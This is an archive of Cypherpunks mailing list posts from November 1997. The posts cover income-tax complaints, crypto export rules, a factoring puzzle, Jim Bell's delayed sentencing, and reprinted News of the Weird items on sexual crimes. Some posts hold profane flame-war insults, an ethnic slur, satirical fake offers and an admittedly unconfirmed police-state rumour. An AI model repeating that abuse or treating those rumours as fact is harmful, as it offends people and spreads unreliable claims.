Message-ID: <3476231E.54D3@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cansturbate wrote:

re: Income Tax Witholding

> To put this in perspective, multiply your income by 1.4.  For example,
> if your income is $50,000, that would be another $20,000 you would
> have every single year.  Where could you spend that money?
> 
> If you simply saved it at 3% a year, in 30 years you would have about
> $950,000.  That's all for doing exactly what you do now.  Who needs
> national health insurance?

  Even if it was withold and held in escrow until it became due,
with the citizen who earned the money drawing interest off of it,
the result would be a windfall for the citizens.
  Add the gain in interest by the government to the loss of interest
by the citizen, and the already outrageous government theft becomes
even more so.

  The government loves to play 'deductions'.
  Translation~~We will take an even larger amount of your money than
we can ultimately get away with stealing without getting lynched, in 
order for us to draw interest on it instead of you, and then pretend
to be working in your interest by dropping some loose change during
our post-robbery getaway.

LAST WILL AND TESTAMENT:
...and to the US Government, I leave a million dollars, so that they
can buy a half-dozen toilet seats for the restrooms next to the
Welfare and Farm Subsidy offices.

TruthMonger
"Who didn't grow cotton last year, either, and is still waiting for
 his check for $300,000."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 10:44:30 +0800
To: cypherpunks@toad.com
Subject: Despite the efforts of the CDT to work out a compromise...
Message-ID: <34762A0F.1A6E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* On August 7, police in Delaware, Ohio, and Thibodaux, La.,
reported that alleged child molesters had received private justice. 
According to police in Ohio, the wife and mother-in-law of
Rodney Hosler, 27, kidnapped him shortly after he was released
from prison on child-molesting charges, tied him up, shaved his
body, applied hot ointment to his genitals, inserted a cucumber
into his body, scribbled "I am a child molester" on him, and
dumped him naked in front of a pizza parlor in his home town,
70 miles away.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 22 Nov 1997 10:40:54 +0800
To: nospam-seesignature@ceddec.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <97Nov18.110340est.32257@brickwall.ceddec.com>
Message-ID: <Pine.LNX.3.93.971121184226.326M-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 18 Nov 1997 nospam-seesignature@ceddec.com wrote:

[...]

> Both are necessary for the electorate in a democracy, and our supreme
> court says we cannot teach virtue in public school, and the educators have
> stopped teaching reason.

You are argueing that the religions have a monopoly on virtue?

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNHU7xaQK0ynCmdStAQEoRwP/cSDp2ZrLVFguqfsmEuMACGIosK4UZrFY
jp9xmA1KN937Roo+qt24YzsQbWPivW6zXwjx8UZiH4KyqdyqI5SGXIt3gk2U0DSQ
zzXUkJuABT2pqT1XGvmluW+V6UtiAP4Yp3TSYhjuvbUHLwtmA1Aw/Q4O8jbgKLp2
8zUJ0ysTcn8=
=OtJQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 22 Nov 1997 11:50:25 +0800
To: cypherpunks@ssz.com
Subject: Re: Factor a 2048-bit number
Message-ID: <199711211845.SAA02254@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin

> Hint 2: There is an observation which suggests the number may be
> factored.  A one word hint will reveal this observation.

> (I want to hold off on Hint 3 for a little while in case somebody is
> already working on the problem.  If anybody wants me to withhold Hint
> 3, please post a message to the list and I may do so.  It seems to me
> that it will be more fun to solve without Hint 3.)

> Wouldn't it be neat to actually factor a 2048-bit number which was the
> product of two large primes?

The wording of the original challenge suggested there was a trick to
this particular factorisation.   My guess that q=p+2 was wrong, so
square rooting (cheap) and using the 2 nearest odd integers was a loser.


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 10:03:19 +0800
To: cypherpunks@toad.com
Subject: Nonookie Masturbatshi beats Dimitri's time with the 'babes'...
Message-ID: <34762B94.6BF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* Several news organizations reported in March and April on
Japanese men's increasing sexual fascination with high school and
junior-high school girls.  One expert interviewed by the New
York Times, Hiroyuki Fukuda, 30, editor of a magazine whose
title can be translated Anatomical Illustrations of Junior High
School Girls, said, "The age at which the girls seem interesting is
clearly dropping.  But it's only the maniacs who go for girls
below the third grade." 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Spin Doctor <sd@dev.null>
Date: Sat, 22 Nov 1997 10:03:36 +0800
To: cypherpunks@toad.com
Subject: "What the murderous, sodomizing kidnapper *meant* to say, was..."
Message-ID: <34762C87.208F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* An ad, from an Atlanta Journal story in May on the increasing
number of Internet Web pages devoted to classified ads from
prison inmates seeking romantic relationships:  "Aren't you fed
up with meeting all the wrong men?" [asked California inmate
Ronald E. Mays, who also asked] "[Are you] In search of a truly
honest and good man . . . ?"  (Mays is serving life without parole
for first-degree murder, second-degree murder, sodomy with
force, and kidnapping.) 

>From News of the Weird:
^
|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Spin Doctor <sd@dev.null>
Date: Sat, 22 Nov 1997 10:03:19 +0800
To: cypherpunks@toad.com
Subject: And made to write bad checks...
Message-ID: <34762EE0.4187@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In August the Johor Baru Religious Affairs Department in
Malaysia announced that convicted sexual "deviants" would, in
addition to serving prison time as punishment, be bound and
whipped. 

~~~~~~~~~~~~~~~~~
NEWS OF THE WEIRD, founded in 1988, is a nationally syndicated
newspaper column distributed by Universal Press Syndicate.
Individuals may have the columns mailed to them electronically,
free of charge, approximately three weeks after the cover date,
which is the date when most subscribing newspapers will publish
the column.  Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 22 Nov 1997 12:03:07 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
Message-ID: <v03102808b09bf7e69f4f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:16 PM -0700 11/21/97, John Young wrote:
>Jim Bell was scheduled to be sentenced today at 9:30 AM.
>I called the court's ever-helpful administrative office
>(1-253-593-6754) for a report and was told that sentencing
>had been postponed until December 12, 10:30AM.

Thanks, John.

Hey, if they keep delaying his sentence, they can give him a longer
sentence than the  supposed crimes warrant....

The fucking criminal system is fucking criminal. Amerika.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 22 Nov 1997 11:45:47 +0800
To: cypherpunks@www.video-collage.com
Subject: Apology -- FBI abduction story
Message-ID: <199711220204.UAA07970@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



I am sorry for the recent interruption of the cypherpunks mailing list. I
was abducted by the FBI along with my computer. They are accusing me of
sponsoring seditious libel against the government. They let me go after
I explained them that the Cypherpunks Crack Force from the Mayonnaise
Mountain is ready to mount Million Man Assault against Washington, D.C.

Seriously, it happened because the DNS records for algebra.com got screwed
up. I am sorry. It is not going to happen again in the near future.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 22 Nov 1997 12:14:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: </ExNHxdX+kw2EXoXkBNHZw==@bureau42.ml.org>
Message-ID: <v03102809b09bf907e319@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 PM -0700 11/20/97, bureau42 Anonymous Remailer wrote:
>On Wed, 19 Nov 1997 at 11:27:12 -0500 Bob Hettinga had an epileptic
>fit induced by excessive pressure in his swollen head and vomited
>forth:

Yep. Or, as Bob likes to say:

"Well, spank me dry. I do feel like I've got a "kick me" sign on my back or
something.... Ding! You rang? Welcome to Random Acts of Kindness, Inc....I
do think my own powers of hucksterism are improving, though.... I just blew
Diet Coke out of my nose again."

>You've taken Tim's comments out of context and done yeoman work
>for the enemy. If (or when) they ever find an excuse to bother
>him, they won't be showing _his_ posts to the jury -- they'll
>be showing _yours_, you clueless fuckwit.

Yes. Bob claims to be an "ex-liberal," but he shows himself to be just
another bleeding heart, there-ought-to-be-a-law, simp wimp.


>If you had two brain cells to rub together you would have
>taken your lumps in Tim's first brushoff and shut up. He's
>got a right to his position and you haven't got shit. What

And, hackneyed though this may sound, I didn't even _start_ this thing! In
fact, the last few major "Bob vs. Tim" wars have been triggered solely by
Bob. He got overexercised that I didn't care to give a "keynote" at his Mac
Crypto cheerleading party, and wrote a vicious, over the top, rant that
even Lucky Green reacted to by saying "Get back on your Ritalin!"

This rant, called "Watching the MacRubble Bounce" (or somesuch) viciously
attacked me. And also one of his business associates, a thinly veiled
longtime Cypherpunk.

I mostly skip Hettinga's "e$-rants," as they are long on "creative writing"
chops, or so he thinks, and short on substance.


>No, Grasshopper, it is just a _little_ paranoid to suggest
>that it might be a possibility. You're putting words in
>Tim's mouth again. You can probably assume that if Tim
>were really convinced that that were going to happen, they
>would find only an inflatable Tim sitting in front of a
>'puter relaying email through an indirect dial link. Or
>something like that. He's just concerned. I'm concerned.
>Anyone with a brain above room temperature is concerned.
>Ugly things are in the wind.

Yep, again. Ugly things are in the wind. Hettinga can rant about his
"geodesic economies," but the clampdowns are continuing. Too many to list
here.

I am still hopeful, longterm, but we may have to go through some dark,
ugly, periods of war. And in this war, we know who the enemy is.

>
>> to attempt to force a confrontation in hopes of
>> preciptating a revolution, or even gratuitous publicity
>
>Why, Grasshopper! He's done no such thing and you well know it.
>You are the one making such characterizations (as if any of
>us needed that). Had I the time and the interest, I would
>check what archives there are to see if you did the same
>favor for Jim Bell.  Fuckwit!
>
>Well, there's more, but your time's up. See you in the camps.
>
>We Jurgar Din

Amen.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "(Igor Chudov @ home)" <ichudov@Algebra.COM>
Date: Sat, 22 Nov 1997 11:19:40 +0800
To: cypherpunks@cyberpass.net
Subject: Alternative Apology
In-Reply-To: <199711220204.UAA07970@manifold.algebra.com>
Message-ID: <347647EA.13A8@algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



I am sorry for the recent interruption of the cypherpunks mailing list.

The dog ate my computer. Then Joichi Ito ate my dog.

Igor






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sat, 22 Nov 1997 10:07:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Personal use crypto export
In-Reply-To: <34450E74.5C1@acm.org>
Message-ID: <654sfo$o2$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <v03007812b06adf711815@[163.176.132.90]>,
Lee Tien  <tien@well.com> wrote:
>I agree with Tim May, I believe it's no longer an issue.  While the current
>EAR/crypto regs don't expressly say "personal use OK," they can be read
>that way under several exemptions, and I'm reliably told that BXA does.

>(f) Special provisions: encryption software subject to EI controls.
>
>(1) Only a U.S. citizen or permanent resident as defined by 8 U.S.C.
>1101(a)(20) may export or reexport encryption items controlled for EI
>reasons under this License Exception.
>
>(2) The U.S. person or permanent resident must maintain effective control
>of the encryption items controlled for EI reasons.
>
>(3) The encryption items controlled for EI reasons may not be exported or
>reexported to Country Group E:2, Iran, Iraq, Sudan, or Syria.

So I can't take my laptop to Anguilla, right?  (I'm not a US citizen or
permanent resident; I'm pretty sure I don't fall under the TMP exception
either, but I haven't checked in a while.)

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 11:15:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4983] Good recent books on encryption, privacy, etc.?
In-Reply-To: <v04002704b09b99c65b9c@[139.167.130.248]>
Message-ID: <34764B9C.DCC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> --- begin forwarded text
> From: david friedman <ddfr@BEST.COM>
> Subject:      Good recent books on encryption, privacy, etc.?

> I am getting ready to teach my seminar on Computers, Crime and Privacy
> again, and wondering if there is something new that I should substitute for
> _Building in Big Brother_. Are there any recent books that have a
> reasonably accessible treatment of encryption, the controversy over
> regulation, etc.? For that matter, are there any good recent books on
> computer crime?

There is a great new book just out, titled "Computers, Crime and 
Privacy" which is getting rave reviews.

It is a compendium of articles by Bruce Schneider, David Chaum, Philip
Zimmermann, Tim C. May, Dorothy Denning, Louis J. Freeh, Janet Reno
and Jim Bell.

To receive a special edition copy signed by all of the above authors,
send $29.95 to:
  Publisher,
  Electronic Forgery Foundation
  Electronic Fraud Department,
  PO BOX 281,
  Bienfait, Saskatchewan
    CANADA  S0C 0M0

(Please allow 20 years for delivery.)

"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Sat, 22 Nov 1997 13:30:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <IICCMMMMBJBCCAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



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Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 12:51:25 +0800
To: cypherpunks@toad.com
Subject: Award Announcement / Re: Br'er Tim and the Bug Hole
In-Reply-To: </ExNHxdX+kw2EXoXkBNHZw==@bureau42.ml.org>
Message-ID: <347650B4.5A12@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



This post gets 'One Dick Up' and the TruthMonger Barking Seal of 
Approval.
If Hettinga was Japanese, the author would be a racist!

We Jurgar Din wrote via the bureau42 Anonymous Remailer :
> 
> On Wed, 19 Nov 1997 at 11:27:12 -0500 Bob Hettinga had an epileptic
> fit induced by excessive pressure in his swollen head and vomited
> forth:
> 
> > Tim can make it as "repeatedly clear" as he wants after
> > the fact. However, he has, on several occasions, made
> > threats against people with more guns than he has, and,
> > sooner or later, they're gonna
> 
> Aw, bullshit, Bob! You were wrong when you started this fuckfest
> and you're digging yourself deeper and deeper with every post.
> There was a time when I thought you had a brain and a modicum of
> common sense, but you've thoroughly disabused me of that fantasy.
> I once visited your website and thought, "This guy is cool!"
> Geez, I'm embarrassed to admit that now.
> 
> You've taken Tim's comments out of context and done yeoman work
> for the enemy. If (or when) they ever find an excuse to bother
> him, they won't be showing _his_ posts to the jury -- they'll
> be showing _yours_, you clueless fuckwit.
> 
> This is the age of "social convictions," in case you haven't
> noticed because you've been living in an e-cave. They don't
> prove cases anymore; they show that you're a "bad actor."
> It's all done with PR, whether totally in the press or partly
> in a courtroom. The first piece of paper the feds send out
> when they attack someone is a press release. The victim often
> first learns he's in trouble when the reporters call.
> 
> > ...lucidity, but who has gotten increasingly radicalized
> > and militant at exactly the same time the world is figuring
> > out that his earlier...
> 
> Maybe you're too young, child. The world is not figuring things
> out fast enough or on a large enough scale to offset the
> accelerating advance of the state. Tim has been around long
> enough to have figured out that the statists have pissed away
> his entire lifetime making him wait for things to get "figured
> out." You have no respect for your elders, who have gotten
> bored over more things than you have yet learned. You should
> be spanked and made to sit in the corner until you can behave.
> 
> > It's almost as if Tim keeps trying to top himself, with
> > some newer and more grandiose claim about the impending
> > collapse of the world as we know it. It just ain't so.
> > The world don't work that way.
> 
> Tell that to the Athenians and hundreds if not thousands of
> groups since who have been surprised when their worlds
> collapsed. Tell that to the Austrians and Germans of the
> 1920's. Tell that to the piles of bones in Cambodia. You
> suffer from the subjectivity of youth. You think that the
> universe revolves around your time and space and that those
> are unique in human experience. You're wrong. The times into
> which we are headed have every promise of being the very most
> "interesting" in human history. I for one won't feel a bit
> compensated by your future whines that you "wuz wrong!"
> 
> If you had two brain cells to rub together you would have
> taken your lumps in Tim's first brushoff and shut up. He's
> got a right to his position and you haven't got shit. What
> you will have is a place in someone's black book if it turns
> out that your characterizations of Tim's posts ever turn out
> to be fuel for the enemy's meatgrinder. Ignorance, even
> stupidity, are pardonable if not too tightly connected to
> the motor mouth. You should consider that the damage you may
> do could far exceed the value of whatever pride it is that
> impels you to continue to articulate the government's ideal
> (and fatuous) arguments in this matter.
> 
> > And, Monty, here's another fact: the world isn't going to
> > end on Thanksgiving Day, much less at the beginning of the
> > millennium.
> 
> Only a complete fool would be that sure.
> 
> > Armed storm troopers are probably *not* going to decend
> > on the denizens of this list and haul them off to newly
> > built gulags in the Rockies somewhere, or whatever the
> > current fantasy of the moment is.
> 
> Really, if you just stopped and thought about it a moment,
> there are only a very few regular posters to the list. All
> of them could be hauled off without making a ripple. We are
> meanwhile playing war footsie with Iraq after having spent
> the better part of five years doing Clinton's best to
> disable, demoralize, cripple, and mismanage the military.
> We're a few press conferences away from being in way over
> our heads with a left-wing android in charge. Is this your
> picture of stable times and a secure Constitution? Do you
> seriously doubt that there are people in the Administration,
> at least in the bureaucracy, who wouldn't like to be able to
> make a few gratuitous PR linkages in a national emergency
> and have an excuse to get rid of the C-P annoyance once and
> for all? Did you miss entirely the personal destruction
> wreaked on Jim Bell _without_ a national emergency? Would you
> be utterly shocked to learn some day soon that you, too, have
> ordered odd chemicals from someplace or other over the last
> few years? Hey! It could _happen_!
> 
> > However, to say that they're coming to take us all away
> > on Thanksgiving, or anytime soon, is more than a little
> > paranoid, and,
> 
> No, Grasshopper, it is just a _little_ paranoid to suggest
> that it might be a possibility. You're putting words in
> Tim's mouth again. You can probably assume that if Tim
> were really convinced that that were going to happen, they
> would find only an inflatable Tim sitting in front of a
> 'puter relaying email through an indirect dial link. Or
> something like that. He's just concerned. I'm concerned.
> Anyone with a brain above room temperature is concerned.
> Ugly things are in the wind.
> 
> > to attempt to force a confrontation in hopes of
> > preciptating a revolution, or even gratuitous publicity
> 
> Why, Grasshopper! He's done no such thing and you well know it.
> You are the one making such characterizations (as if any of
> us needed that). Had I the time and the interest, I would
> check what archives there are to see if you did the same
> favor for Jim Bell.  Fuckwit!
> 
> Well, there's more, but your time's up. See you in the camps.
> 
> We Jurgar Din






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 12:53:05 +0800
To: jya@pipeline.com
Subject: Personal to John Young
In-Reply-To: <NV2Hge33w165w@bwalk.dm.com>
Message-ID: <3476528F.345A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Jon Galt <jongalt@pinn.net> writes:
> > What gives the hoodlums in Washington, D.C. the right to draw a line on a
> > map and try to control people's travel across that line?
> 
> Nothing. Timmy C[...] May has exposed himself once again as a statist scum no
> different from the reputed Jap pedophile Hirochi "no crypto for the four
> politically incorrect horsepersons" Ito, geodesic baron Hettiga and the
> jackbooted Nazi KKKent KKKrispin[1]. National borders are an artifact of a
> state and must be destroyed together with the state. What makes Timmy any more
> "legal" in California than some poor slob who was born a few hundred miles
> south? People should be free to live where they want to / can afford to.
> 
> [1] Sandia means watermelon in Spanish.

John,
 Sure, you tell _me_ that you're out of drugs, and then you share with
Dimitri. Asshole.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Sat, 22 Nov 1997 11:24:17 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Your Papers, Please
In-Reply-To: <1.5.4.32.19971121122153.006cd9fc@pop.pipeline.com>
Message-ID: <Pine.SUN.3.91.971121214332.3343A-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 21 Nov 1997, John Young wrote:
> This is
>  where Big Brother may arrive big time. 
> 
>  Under active consideration is a plan to require taxpayers to obtain digital
> IDs for all
>  electronic transactions, keeping records that could be examined on audit.

And what if "taxpayers" simply don't keep these records?  There have been 
quite a few things government has tried to impose on the American people 
in the last two hundred years, and have just been laughed at.  For 
example during the civil war, I believe there was a tax "imposed" which 
many people simply ignored.

> The IDs
>  would be issued by IRS certified agencies, subject to government developed
>  standards to ensure that proper identity checks are performed before anyone is
>  allowed to shop online.

This is absurd.  They can't possibly control every single one of us.  

> The IRS would enforce this by issuing its own digital
>  certificates to issuers of digital IDs so that they can electronically
> prove that they
>  have received IRS certification.

And who would they prove it to?  The IRS would have to have enough 
bureaucrats to track us all down.  - Actually they could wage a war just 
like the one with the Income Tax now.  Prosecute high-profile cases and 
publicize the hell out of them if the IRS wins, issue a gag order if the 
IRS loses.

> The technology they need to make this
> happen is
>  available. All that's missing are the regulations forcing compliance.

Regulations do not *force* compliance.  Words on pieces of paper do not 
force anything on me.

Even laws against the worst thing humans could do to each other (murder) 
do not *force* compliance.  And such laws are the ones agreed to by most 
people.  If laws that have the absolute greatest support cannot prevent 
human actions, how can you think regulations with such broad opposition 
could possibly do so?

___________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
__________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 22 Nov 1997 14:08:34 +0800
To: John Young <cypherpunks@cyberpass.net
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
Message-ID: <3.0.5.32.19971121220306.00a5e580@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:16 PM 11/21/97 -0500, John Young wrote:
>Jim Bell was scheduled to be sentenced today at 9:30 AM.
>I called the court's ever-helpful administrative office 
>(1-253-593-6754) for a report and was told that sentencing 
>had been postponed until December 12, 10:30AM.
>[...]
>Perhaps one of our legal subscribers could comment on what's
>going on with these repeated delays in sentencing, especially
>whether it's common to do so after a plea agreement is reached.

It strikes me as peculiar/unusual; perhaps there's a list subscriber with
more experience on the Federal criminal side to offer a different
perspective. The factor that strikes me as especially peculiar is that
there haven't been motions from either the defense or the prosecution in
support of these postponements; they've simply been entered as orders from
the court. (I haven't seen a docket entry for this latest postponement,
perhaps it's different.)

If the defense saw it as in their interests to delay sentencing, ordinarily
I'd expect to see a motion from the defense for each postponement, wherein
the defense would explain why they're not prepared to move forward.
Similarly, were the prosecution unprepared (perhaps the probation
department hasn't finished the presentence report), I'd expect to see a
motion to that effect .. and it'd be very unusual for either side to
succeed in gaining three postponements. Either side can probably expect one
as a matter of courtesy, perhaps a second if there's a really good reason
.. but three is unusual, especially without a motion & affidavit to explain
why.

I'm starting to favor the explanation which suggests that Jim will be
testifying at the trial(s) or before grand juries in other matters - and
that his sentencing is postponed to ensure his cooperation, and that the
defense isn't squealing about the successive postponements because that's
seen as more favorable than receiving a sentence of many, many months in
the event of noncooperation. I'm reluctant to finger anyone as a "snitch"
without knowing more - and this is all speculation - but something looks
funny about what's happening thus far. (It's also possible that he's
physically/mentally incapacitated such that he's not able to participate in
his sentencing, which would explain why the court would be postponing on
its own initiative, and why the defense isn't opposing the continuance.)

I guess I don't really see a good (or uncomplicated) reason for these
postponements - if Jim were out of custody, it wouldn't be surprising for
him to attempt to drag the out-of-custody presentence period on for some
time. But when a defendant is in custody, they're likely to get more
immediate/focused attention from their attorney, and courts are less likely
to enter a continuance. The prosecution doesn't need to do a lot of extra
work to prepare for sentencing, and the probation department has had a lot
of time to work up the presentence report.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sat, 22 Nov 1997 11:51:45 +0800
To: cypherpunks@cyberpass.net
Subject: List still active???
Message-ID: <347f04dc.72285257@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



I know that the listserver at algebra.com is down.  Are the other servers
still working?  Is anybody out there? 

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 22 Nov 1997 11:29:57 +0800
To: cypherpunks@toad.com
Subject: Jim Bell's Sentencing Delayed Again
Message-ID: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Bell was scheduled to be sentenced today at 9:30 AM.
I called the court's ever-helpful administrative office 
(1-253-593-6754) for a report and was told that sentencing 
had been postponed until December 12, 10:30AM.

Other info:

Mail sent to Jim (not by me) since his request for books has 
been returned twice that I know about

Books sent to Kitsap County jail, where he was first incarcerated,
was returned marked "Not in Jail." 

After this an inquiry to the court was made about Jim's 
location (not by me) and it was learned that he had been
transferred to Federal Detention Center at SeaTac, WA.
A letter sent there recently was returned unopened, marked 
"Return to Writer."

The court docket today at 8:00PM does not list his relocation 
nor the new sentencing date. However, entries usually appear
a day or so after an action:

   http://jya.com/jimbell-dock3.htm

Perhaps one of our legal subscribers could comment on what's
going on with these repeated delays in sentencing, especially
whether it's common to do so after a plea agreement is reached.

Now, scuttlebutt: a person at a Seattle legal document service
told me today that another case is coming up similar to Jim's
that also alleges "intimidation of IRS officials." Whether that
relates to delays in Jim's case is a mystery inside an enigma.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 12:44:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:5028] police state rumors
In-Reply-To: <199711210248.SAA17206@netcom13.netcom.com>
Message-ID: <34765CD4.5AA4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Vladimir Z. Nuri wrote:
> ------- Forwarded Message
> >>The following is an UNCONFIRMED RUMOR. If you have any information
> >>to confirm or deny these statements, please post and cc:
> >>safety.security@cancomm.com. As always, please specify your sources as
> >>precisely as possible. Thanks, Wes Thomas
> >>-- Forwarded --

> >>>Subject: military weapons issud to police depts.
> >>>To: colombo
> >>>
> >>>I'm a former cop with 16 years of experience including intelligence,
> >>>SWAT, tactical operations, criminal investigations.
> >>>
> >>>Police depts. are receiving free of charge from the Defense logistics
> >>>Agency all kinds of military pattern small arms.  these include m-16's
> >>>(full auto kind), ammo, and even bayonets.  Also included is webb gear,
> >>>ammo pouches, ponchos, night vision devices and passive infra-red and
> >>>thermal imaging night sights or night vision devices.

  If you consider the above to be "unconfirmed rumor," or difficult to 
verify, then you need to learn how to use an InterNet search engine.
  Even mainstream news articles have covered the transfer of Armed 
Forces weapons and munitions to civilian agencies, including a major
city which *returned* a load of bayonets as being too ludicrous to
accept.

> >>>Sources of mine in the State of WA., say that many PD's are now training
> >>>in advanced small unit tactics involving MOUT scenarios at the Yakima
> >>>Army Training Center.  MOUT deals with street fighting in an urban
> >>>warfare context.
...
> >>>Now here's the kicker.  The WA. State Criminal Justice Training
> >>>Commision is allegedly (good source on this) considering expanding the
> >>>police academy curriculum and training hours from the present 440 hrs.
> >>>to twice that amount.  Civil unrest and street fighting tactics are to
> >>>be included in the new blocs of instruction.  Additional emphasis on
> >>>sniper and full auto weapons training and intelligence gathering
> >>>missions, plus joint tactical doctrine in order to facilitate working
> >>>with military units may also be included.  I hear other states are to
> >>>join in with the same agenda to be implemented.

  This is supposed to be *news*?
  Have you been out of the country for a few decades? Ever heard of
